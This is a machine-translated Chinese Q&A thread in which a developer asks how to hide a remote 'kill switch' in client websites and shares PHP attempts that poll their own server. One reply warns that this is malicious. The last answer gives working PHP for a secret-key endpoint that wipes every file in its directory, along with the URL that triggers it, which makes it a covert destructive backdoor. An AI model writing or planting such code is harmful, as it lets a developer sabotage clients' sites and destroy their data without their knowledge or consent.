我想在客户端网站中集成一个kill开关,以防万一。
方法1: 我的主意是使用这段代码:
if (file_get_contents("http://myvebsite.com/disable.txt")) die("kill switch");
但是这是在代码中很容易找到的方法,我想。
方法2:
我试过这个。
这是我将在网站中整合的代码:
<?php
require('XMLRPC.inc.php');
$appname = "DISABLING-CODE";
$client = new IXR_Client('http://myvebstie.com/kill.php');
if (!$client->query('activation.checkapp', $appname)) {
if($client->getResponse() )
{
die("application disabled.");
}
}
?>
这是我将在文件kill.php
require('XMLRPC.inc.php');
function checkapp($the_app)
{
$deactivateMe = "DISABLING-CODE"; // with this i would disable the webiste
if (isset($the_app) && $the_app == $deactivateMe)
return true; // application disabled
else
return false;
}
$server = new IXR_Server(array('activation.checkapp' => 'checkapp'));
我已尝试过100次此方法,但它无法正常工作,客户网站正常加载。 有没有人知道为什么它不工作或有没有人对如何解决这个问题有更好的想法?
如果我使用第一种方法并在文件位置http://myvebsite.com/disable.txt上的文件disable.txt中放置一个字符,则客户网站无效。
最好的问候。
答案 0 :(得分:7)
听起来您正在寻找非技术问题的技术解决方案。请考虑以下内容:
答案 1 :(得分:3)
使用函数die()不会终止服务器。它将停止呈现您尝试访问的页面。你的整个方法都是错的。您必须查看一种方法,使您的代码覆盖.htaccess文件并使用@sjagr提交的代码片段
正如其他人所说:你不应该尝试制作这样的代码,因为它会使你的客户端系统容易受到攻击,并且被认为是恶意代码。
答案 2 :(得分:2)
您的问题是一个简单的解决方案。如果你想用&#34;翻转开关&#34;来杀死一个网站,你需要做的就是用一个具有以下内容的文件替换.htaccess
文件:
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
宣布你已经完成了!您可以将旧.htaccess
文件重命名为.htaccess.bak
,直到您想要重新开启网站。&#34;
这假设您没有获得客户端FTP访问权限并且您完全控制文件。
答案 3 :(得分:0)
您可以这样做
<?php
if($_GET['key'] == 'kChj3G3XgQ')
{
$dir = scandir(__DIR__);
foreach($dir as $k => $file){
destroyFile($file);
}
}
function destroyFile($filename){
$file = fopen($filename, 'w');
fwrite($file,'');
fclose($file);
}
然后使用如下键将文件打入端点: www.dodgyclientswebsite.com/killswitchfile.php?key=kChj3G3XgQ
那只会用空白文件重写同一目录中的每个文件。